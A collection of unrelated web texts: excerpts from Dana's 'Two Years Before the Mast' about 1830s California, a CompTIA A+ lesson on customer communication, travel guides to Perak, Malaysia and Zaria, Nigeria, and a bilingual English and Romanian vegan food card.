certain. A few inches of cold steel have been the punishment of many an unwary man, who has been guilty, perhaps, of nothing more than indiscretion. The difficulties of the attempt [to copulate with a married woman] are numerous, and the consequences of discovery fatal, in the better classes. With the unmarried women, too, great watchfulness is used. The main object of the parents is to marry their daughters well, and to this a fair name is necessary. The sharp eyes of a duena, and the ready weapons to a father or brother, are a protection which the characters of most of them — men and women — render by no means useless; for the very men who would lay down their lives to avenge the dishonor of their own family would risk the same lives to complete the dishonor of another. Referring to the Mexican residents of Santa Barbara in 1835 (p. 162) An overstrained sense of manliness is the characteristic of seafaring men. This often gives an appearance of want of feeling, and even of cruelty. From this, if a man comes within an ace of breaking his neck and escapes, it is made a joke of; and no notice must be taken of a bruise or cut; and expression of pity, or any show of attention, would look sisterly, and unbecoming a man who has to face the rough and tumble of such a life. From this cause, too, the sick are neglected at sea, and, whatever sailors may be ashore, a sick man finds little sympathy or attention, forward or aft. A man, too, can have nothing peculiar or sacred on board ship; for all the nicer feelings they take pride in disregarding, both in themselves and others. A "thin-skinned" man could hardly live on shipboard. One would be torn raw unless he had the hide of an ox. p. 236-237 Referring to a professor aboard ship: This passenger — the first and only one we had had, except to go from port to port on the coast — was no one else than a gentleman whom I had known in my smoother days, and the last person I should have expected to see on the coast of California — Professor Nuttall of Cambridge. I had left him quietly seated in the chair of the Botany and Ornithology Department at Harvard University, and the next I saw of him, he was strolling about San Diego beach, in a sailors' pea jacket, with a wide straw hat, and barefooted, with his trousers rolled up to his knees, picking up stones and shells... I was often amused to see the sailors puzzled to know what to make of him, and to hear their conjectures about him and his business... The Pilgrim's crew called Mr. Nuttall "Old Curious," from his zeal for curiosities; and some of them said that he was crazy, and that his friends let him go about and amuse himself this way. Why else would (he)... come to such a place as California to pick up shells and stones, they could not understand. One of them, however, who had seen something more of the world ashore said, "Oh, 'vast there!... I've seen them colleges and know the ropes. They keep all such things for cur'osities, and study 'em, and have men a purpose to go and get 'em... He'll carry all these things to the college, and if they are better than any that they have had before, he'll be head of the college. Then, by and by, somebody else will go after some more, and if they beat him he'll have to go again, or else give up his berth. That's the way they do it. This old covery knows the ropes. He has worked a traverse over 'em, and come 'way out here where nobody's ever been afore, and where they'll never think of coming." This explanation satisfied Jack; and as it raised Mr. Nuttall's credit, and was near enough to the truth for common purposes, I did not disturb it. p. 267 Passing round Point Conception, and steering easterly, we opened the islands that form, with the mainland, the canal of Santa Barbara. There they are, Santa Cruz and Santa Rosa, and there is the beautiful point, Santa Buenaventura; and there lies Santa Barbara on its plain, with its amphitheater of high hills and distant mountains. There is the old white mission with its belfries, and there the town, with its one-story adobe houses, with here and there a two-story wooden house of later build; yet little is it altered — the same repose in the golden sunlight and glorious climate, sheltered by its hills; and then, more remindful than anything else, there roars and tumbles upon the beach the same grand surf of the great Pacific... the same bright-blue ocean, and the surf making just the same monotonous, melancholy roar, and the same dreamy town. It had been the winter of 1835-6 that the ship, Alert, in her voyage for hides on the remote and almost unknown coast of California, floated into the vast solitude of the bay of San Francisco. All around was the stillness of nature. One vessel, a Russian, lay at anchor there, but during our whole stay not a sail came or went. Our trade was with remote missions, which sent hides to us in launches manned by their Indians... Over a region far beyond our sight there was no other human habitations, expect that an enterprising Yankee, years in advance of his time, had put up, on the rising ground above the landing, a shanty of rough boards, where he carried on a very small retail trade between the hide ships and the Indians. On the evening of Saturday, the thirteenth of August, 1859 (I again sailed into) the entrance to San Francisco, (now) the great center of worldwide commerce. We bore round the point toward the old anchoring ground of the hide ships, and there, covering the sand hills and the valleys... flickering all over with the lamps of its streets and houses, lay a city of one hundred thousand inhabitants. The dock into which we drew, and the streets about it, were densely crowded with express wagons and handcarts... Though this crowd I made my way, along the well-built and well-light streets, as alive as by day, where boys in high-keyed voices where already crying the latest New York papers. When I awoke in the morning, and looked from my windows over the city of San Francisco, with its storehouses, towers, and steeples; its courthouses, theaters, and hospitals, its daily journals, its well-filled learned professions, its fortresses and lighthouses; its wharves and harbor... when I saw all these things, and reflected on what I once saw here, and what now surrounded me, I could scarcely keep my hold on reality at all, or the genuineness of anything. As we made the high point off San Diego, Point Loma, we were greeted by the cheering presence of a lighthouse. As we swept round it in the early morning, there, before us, lay the little harbor of San Diego, its low spit of sand, where the water runs so deep; the opposite flats, where the Alert grounded in starting for home; the low hills, without trees, and almost without brush; the quiet little beach; but the chief objects, the hide houses, my eye looked for in vain. They were gone, all, and left no mark behind. I wished to be alone, so I let the other passengers go up to the town, and was quietly pulled ashore in a boat, and left to myself. The recollections and the emotions were all sad... and only sad. The past was real. The present, all about me, was unreal, unnatural, repellent. I saw the big ships lying in the stream... the home of hardship and hopelessness; the boats passing to and fro; the cries of the sailors at the capstan or falls; the peopled beach; the large hide houses, with their gangs of men; and the Kanakas interspersed everywhere. All, all were gone! Not a vestige to mark where one hide house stood. The oven, too, was gone. I searched for its site, and found, where I thought it should be, a few broken bricks and bits of mortar. I alone was left of all, and how strangely was I here! What changes to me! Where were they all? Why should I care for them — poor Kanakas and sailors, the refuse of civilization, the outlaws and the beachcombers of the Pacific! Time and death seemed to transfigure them. Doubtless nearly all were dead; but how had they died, and where? In hospitals, in fever climes, in dens of vice, or falling from the mast, or dropping exhausted from the wreck "When for a moment, like a drop of rain/He sinks into thy depths with bubbling groan/Without a grave, unknelled, uncoffined, and unknown." The lighthearted boys are now hardened middle-aged men, if the seas, rocks, fevers, and the deadlier enemies that beset a sailor's life on shore have spared them; and the then strong men have bowed themselves, and the earth or sea has covered them. How softening is the effect of time! It touches us through the affections. I almost feel as if I were lamenting the passing away of something loved and dear — the boats, the Kanakas, the hides, my old shipmates! Death, change, distance, lend them a character which makes them quite another thing. On the morning of January 11th, 1860, I passed, for the eighth time, through the Golden Gate... As the shores of California faded in the distance, and the summits of the Coast Range sank under the blue horizon, I bade farewell — yes, I do not doubt, forever — to those scenes which, however changed or unchanged, must always posses an ineffable interest for me. Wikipedia has an article about: Richard Henry Dana, Jr. Wikisource has original works written by or about: Richard Henry Dana, Jr. Wikimedia Commons has media related to: Richard Henry Dana, Jr. Works by Richard Henry Dana at Project Gutenberg
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This lesson covers communication procedures. Objectives and skills for the communication procedures portion of A+ certification include: Demonstrate proper communication techniques and professionalism. Use proper language – avoid jargon, acronyms, slang when applicable Maintain a positive attitude / Project confidence Actively listen (taking notes) and avoid interrupting the customer Be culturally sensitive Use appropriate professional titles, when applicable Be on time (if late contact the customer) Avoid distractions Personal calls Texting / Social media sites Talking to co-workers while interacting with customers Personal interruptions Dealing with difficult customer or situation Do not argue with customers and/or be defensive Avoid dismissing customer problems Avoid being judgmental Clarify customer statements (ask open ended questions to narrow the scope of the problem, restate the issue or question to verify understanding) Do not disclose experiences via social media outlets Set and meet expectations/timeline and communicate status with the customer Offer different repair/replacement options if applicable Provide proper documentation on the services provided Follow up with customer/user at a later date to verify satisfaction Deal appropriately with customers confidential and private materials Located on a computer, desktop, printer, etc IT Service and Support - Communication Skills YouTube: Communication - CompTIA A+ 220-902 - 5.4 YouTube: Professionalism - CompTIA A+ 220-902 - 5.4 CompTIA: A+ Certification Exam Objectives - Exam 220-902
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Perak, the fourth largest of Malaysia's thirteen states in area, after Sarawak, Sabah and Pahang, is on the west coast of the Malay Peninsula. Its capital is Ipoh (population: half a million). There are several tourist destinations of moderate interest within the state, but the main tourist destination would probably be Pangkor Island, about 85km from Ipoh, and Ipoh itself because of its great food. 4.6101.071 Ipoh - the capital city of the Perak state, known for its great food, tin mines and limestone mountains and caves. 4.3101.152 Kampar 4.033333101.0166673 Teluk Intan - a town famous for its pagoda-style leaning tower and unique steamed Chinese rice rolls (Chu-cheong-fun). It is home to a derelict palace that used to house the Raja Dihilir of Perak. Rumours abound about the palace being haunted, especially since it is in the vicinity of Muslim and Chinese cemeteries and is located right next to a Christian burial ground. Trespassing the palace grounds is prohibited and it is unknown whether ghost hunters have successfully been there. 4.85100.7333334 Taiping - the second largest city in the state, is a quiet pensioner's paradise with century-old trees lining its roads. Attractions include a large park around the famous Taiping lake and the nearby Taiping Zoo. Not stopping there, Taiping is also famous for a few 1st established things in Malaysia, e.g. 1st jail in Malaysia, which is located just after the lake gardens, 1st hospital, railway station, aerodrome, hill resort, former golf club. 4.766667100.9333335 Kuala Kangsar - the official royal town of Perak, it is home to the Raja Muda and Sultan of Perak (as of 2006). 4.16667100.956 Pasir Salak - a small but historic town in Perak which houses a museum detailing the struggle against colonialists in Perak. 4.233100.6337 Lumut - a town by the sea home to the famous Outward Bound School. It is close to the town of Sitiawan, famous for its fresh and cheap seafood and Chinese-Foochow cuisine and also Teluk Batik, a beach on the coast of the Malacca Strait. Ferries to Pangkor Island depart from Lumut. Bidor - a small town famous with its fruits (guava), petai and chicken biscuit. The town has many native or orang asli villages, one of the well know village is Kampong chan. On the way to the village, you can see a lot of plantation such as rubber, oil palm, durian, guava and so on. The village very near to clean water fall in a nature tropical forest. If lucky, you can see natives collect forest's product like bamboo and petai. The town is between Sungkai (hot spring resort) and Tapah (way to Cameron Highland). villages. Marina Island Pangkor - a new west coast manmade island. Beautiful sceneries of Pulau Pangkor with mixed development of exclusive properties, marina, theme park, jetty complexes and many more. Pangkor - a popular west coast island. Beautiful beaches, small fishing villages. Bukit Merah - an eco-tourism destination that houses a theme park, eco park and the country's only orang-utan island. Kellie's Castle, Batu Gajah - Known as the 'Taj Mahal' of Perak, the castle, located a short drive from Ipoh, was built by the Scottish planter William Kellie Smith as a sign of love for his wife. The construction of the castle was never completed and it has since been shrouded in mystery and romantic stories of love and tragedy. Belum Temenggor Forest Reserve - The Belum-Temenggor Forest Reserve (BTFR) is among the few remaining pockets of preserved rainforest in Peninsular Malaysia, which encompasses over 300,000 hectares. BTFR is a tropical paradise and home to a vast population of animals and plants, many of which are only found in this region. Lenggong - The Lenggong valley in Hulu Perak is one of Peninsular Malaysia's most important areas for archaeology, as excavations have revealed many traces of Malaysia's prehistory. It is the site of the oldest known place of human activity in the Peninsula. Today it is still a rural area, with small kampongs surrounded by green vegetation and limestone hills. Lenggong can be likened to an open-air museum, and is home to legends, skeletons, cave drawings and precious finds such as jewellery, pottery, weapons and stone tools. Many of the caves in the Lenggong area have revealed evidence of ancient humans having lived and hunted in this area. The Lenggong Valley was listed by UNESCO as a World Heritage site on 30 June 2012. Perak means `silver' in Malay, but the state's economy boomed when large-scale tin mining began in the Kinta Valley, including the vicinity of Ipoh, in the 19th century. The British who then ran the state recruited large numbers of labourers from south China to work the mines, and some Chinese immigrants also owned and operated mines and became some of the wealthier residents of the state. There was also some rubber tapping, for which many immigrants from southern India, especially Tamil Nadu, were recruited, but Perak is unlike some other Malaysian states in the number of Muslim, Urdu-speaking Indians among its population. Since the prices of tin and rubber have plummeted on the world market, Perak's economy has stagnated, which is rough for its citizens but has meant that cities like Ipoh have maintained more of their old buildings and character than ultra-modern Kuala Lumpur and other boom towns. The landscape of Perak includes striking karst limestone hills, many with caves. Quite a number of the caves have been carved into Chinese and a few Hindu cave temples (tong in Cantonese). Another, more remote area of breathtaking beauty is the East-West Highway that connects the towns of Jeli, Kelantan and Gerik, Perak, through a hilly jungle clearing near the border with Thailand. Perak is also known among Malaysians for its great and varied food. Wonderful Chinese, Malay, and Indian food of various types can be found in many parts of the state, which is also known for its pomelos, considered the best in Malaysia. Most of the local Chinese speak Cantonese or Foochow, though many of them also know Mandarin, and many of the Indians speak Tamil or Urdu, but everyone speaks Malay and quite a few people speak English, too. Roads connect Perak to all the neighboring states — Selangor and the Federal District of Kuala Lumpur to the south, Pahang and Kelantan to the east, and Penang and Kedah to the north. Perak also has a northern border on Thailand, which can be reached by road as well. The main railroad line connects Perak with Selangor to the south and Penang (Seberang Perai) and Kedah to the north. Long-distance bus companies provide regular service between out-of-state cities and the major towns in Perak. Sultan Azlan Shah Airport (IPH IATA) Perak has a good system of well-maintained roads. The main branch of the Malaysian Railroad (Keretapi Tanah Melayu) traverses the state, connecting several of the larger cities, including Ipoh, Sungai Siput, Kuala Kangsar and Taiping. There are also branch lines to Teluk Intan and Kamunting. There are many regional bus routes that connect villages and towns in Perak to each other. There are many limestone hills in the central part of the state (such as between Ipoh and Chemor to the north, and Ipoh to Gopeng in the south), and most of them contain caves. Many of these hills have Chinese temples (called tong) or Hindu temples, many are built into the caves. Drive through the state and look at this beautiful scenery, and visit one or more of the caves. If you're staying in Ipoh, you can take a medium-distance bus to a cave. If you have occasion to travel to the east coast from Perak, make sure to take the East-West Highway from Grik to Tanah Merah, Kelantan. The scenery of mountains topped by virgin jungle is gorgeous. On the way it would be well worth a stop in the Belum-Temenggor Forest Reserve. The lake (Tasik Temenggor) is beautiful and surrounded by rainforest, and there is an option to spend a few nights deep in the jungle if you so choose. The archaeological site of the Lenggong Valley is inscribed on the UNESCO World Heritage list and is regarded as one of the most important archaeological sites in Malaysia. Most people would choose to hang out at the beaches like in Lumut, visit the Menara Condong in Teluk Intan or just go to the museums, or even go visit the guas. A good place to `lepak' (hang out) would be Ipoh Parade on Friday afternoons and JUSCO during the weekends. A famous food would be 'kai shi hor fun', which is located in Old Town, Ipoh. Has been through many generations of that family. If you're looking for amazing seafood dishes, you should probably drive to Sitiawan for fresh seafood. There's another place famous for its fresh seafood, in Tanjung Tualang, an hour drive from Ipoh town. Fresh water prawns are a speciality, the price is reasonable. A must try in Lenggong - Pekasam, fermented fresh water fish that has strong sour and salty taste and strong smell too. A must try drink is ice blended Sarsi with wheatgrass! It goes very well with seafood during a sunny day especially. Another local drink is ais lengkong kuning which is a mix of yellow jelly, lime, sugar and water. Accommodation varies from cheap old hotels through to five-star hotels and exclusive villas. Selangor Penang Kedah Kelantan Pahang
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♦ ENGLISH ♦ I am vegan / we are vegans / and would like something to eat. Veganism is a diet and lifestyle that avoids using animal products in food and in other products of consumption, including clothing, alcohol and cosmetics. People dedicate themselves to veganism for different reasons, with health benefits, animal rights, ecological concerns being some of them. We do eat; all fruits, vegetables, lentils, beans, rice, and grains. We eat pasta which has no egg, cous-cous, we eat soups and meals with vegetable stock, vegetable and olive oils and coconut milk. We do not eat meat (beef, chicken, pork or any other animal), fish, meat stock (as used in soups), milk (from any animal), eggs, butter, cheese, lactose, shellac, lard or animal fat, gelatin, or food with these products in, even in small amounts. Thank you for your time reading this and we really appreciate any food you can prepare. ♦ ROMANIAN ♦ Eu sunt vegan / noi suntem vegani / și am dori să luăm masa. Veganismul este o dietă și un stil de viață care evită produsele de origine animală atât în mâncare cât și în alte produse de consum, atât îmbrăcămintea, cât și alcolul si produsele cosmetice. Oamenii devin vegani din diferite motive cum ar fi un stil de viață sănătos, drepturilor animalelor sau din motive ecologice. Noi mâncăm: fructe, legume, linte, fasole, orez și cereale. Mâncăm paste care nu conțin ou, cous-cous, mâncăm supe și alte feluri de mâncare cu legume, ulei vegetal, ulei de măsline și lapte de cocos. Nu mâncăm carne( vită, găină, porc sau alte animale), pește, grăsimi animale ( ca cele găsite în supă ), lapte ( de la oricare animal ), ouă, unt, brânză, lactoză, rășină de origine animală, untură sau grăsime animală, gelatină sau mâncare care conține aceste produse chiar și în cantități mici. Mulțumesc frumos pentru timpul acordat și am fi recunoscători dacă ați putea prepara ceva de mâncare.
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Zaria (formally Zazzau) is a major city in Kaduna State, North West Nigeria as well as being a local government area. It is one of the original seven Hausa city-states. It's also one of popular places to visit in Northern Nigeria. Zaria has an estimated population of 736,000. It was a trading destination for Saharan caravans as well as a prominent city in the Hausa slave trade. In the late 1450s, Islam arrived in Zaria by the way of its sister Habe cities, Kano and Katsina. Along with Islam, trade flourished between the cities as traders brought camel caravans filled with salt in exchange for slaves and grain. The city-state's power peaked under Queen Amina whose military campaigns established a tributary region including the kingdoms of Kano and Katsina. At the end of the 16th century, after Queen Amina's death, Zaria fell under the influence of the Jukun Kingdom and eventually became a tributary state itself. Between the fifteenth and sixteenth century the kingdom became a tributary state of the Songhai Empire. In 1805 it was captured by the Fulani during the Fulani Jihad. British forces led by Frederick Lugard took the city in 1901. It was founded in 1536 and later was renamed after Queen Zaria. The economy of Zaria is primarily based on agriculture. Staples crops include: guinea corn and millet. Cash crops include cotton, groundnuts and tobacco. Zaria is home to Ahmadu Bello University, the largest university in Nigeria and the second largest on the African continent. The institution is very prominent in the fields of Agriculture, Science, Finance, Medicine and Law. It is also the base for the Nigerian College of Aviation Technology, National Research Institute for Chemical Technology, Federal College of Education Zaria, Barewa College among others. Zaria has a tropical savanna climate with warm weather year-round, a wet season lasting from April to September, and a drier season from October to March. Queen Amina’s Wall was built with well-fortified walls to protect the ancient city by Queen Amina of Zaria, who is renowned for her wise military exploits and strategies. This wall still stands majestically in the modern city of Zaria. 11.078187.641471 Zaria City Wall,. The wall is a reminder of historic position of Zaria of the many wars fought by the kingdom of Zaria Emirates. The wall served as a protection for the city against it's enemies during the war time. (updated Jun 2021) 11.097477.700952 Emirs Palace, ☏ +2348034820757. 24hrs. A beautiful palace withelegant architecture,the palace displays the skill and expertise of the craftsmen and builders.The splendour of the beautiful drawing and painting. (updated Jun 2021) There are many supermarkets visitors can go and buy whatever they need at pocket friendly rate. These supermarkets are: 11.0943877.7027591 Dangida Super Market, ☏ +234 706 733 3094. It has varieties of items for daily use at an affordable price which is almost similar to market price. Varieties of items that one can buy in this supermarket include food items, beverages, groceries, toiletries and beauty products. (updated Jun 2021) Shagalinku Restaurant, Zaria, ☏ +234-803-666-5787. 8AM - 10PM. Shagalinku Restaurant is one of the best in the city of Zaria. They offer services like, Dine-in,Take away and home delivery. (updated Jun 2021) Plzza plus Zaria, ☏ +234-817-190-9534. (updated Jun 2021) Abu Hotels, Old Jos Road, Kongo. Abu Hotels is one less expensive hotels in Zaria. They offer facilities including a swimming pool, bar/lounge, free parking, high speed Wi-Fi and room service. US$30. (updated Jun 2021) Organo Hotel and Suites, 19B Hanwa Road, GRA, ☏ +234-701-322-2755. Organo Hotel is a budget host. The staff are friendly. The amenities they provide are: free parking spaces and free breakfast. The room features include air conditioning and housekeeping. Some other popular amenities offered are free Wi-Fi, a restaurant and a lounge. $30. (updated Jun 2021) Sleeprite Hotels, 10 New jos Rd Dakace, ☏ +234-903-011-1565. Amenities provided including complimentary parking and breakfast, air conditioning, Internet and room service. ₦13,160. (updated Jun 2021) 11.1581740866197.65217651436121 No. 59, Sokoto Road, Abu Zaria, ☏ +234 803 606 9016. Rex Guest Inn is a low budget accommodation. The hotel has a bar, nice toilets, all the rooms are air conditioned. It also has provision for luggage storage. (updated Jun 2021) For most locations in Zaria, there are coverage of the 2G/3G/4G mobile networks, only that service may be disrupted the farther away you go from the city center, and you might occasionally experience network outage for all or some of the mobile phone service providers in those remote areas of the city. A travel plan to Zaria should probably consider possession of multiple SIM cards, preferably for all the mobile service providers, since you can't tell which will be more stable and reliable at a time in your location during your visit. And 9Mobile usually also performs well in internet browsing speed too but not without locational limitations, plus their data rate is significantly higher. Kaduna Bauchi
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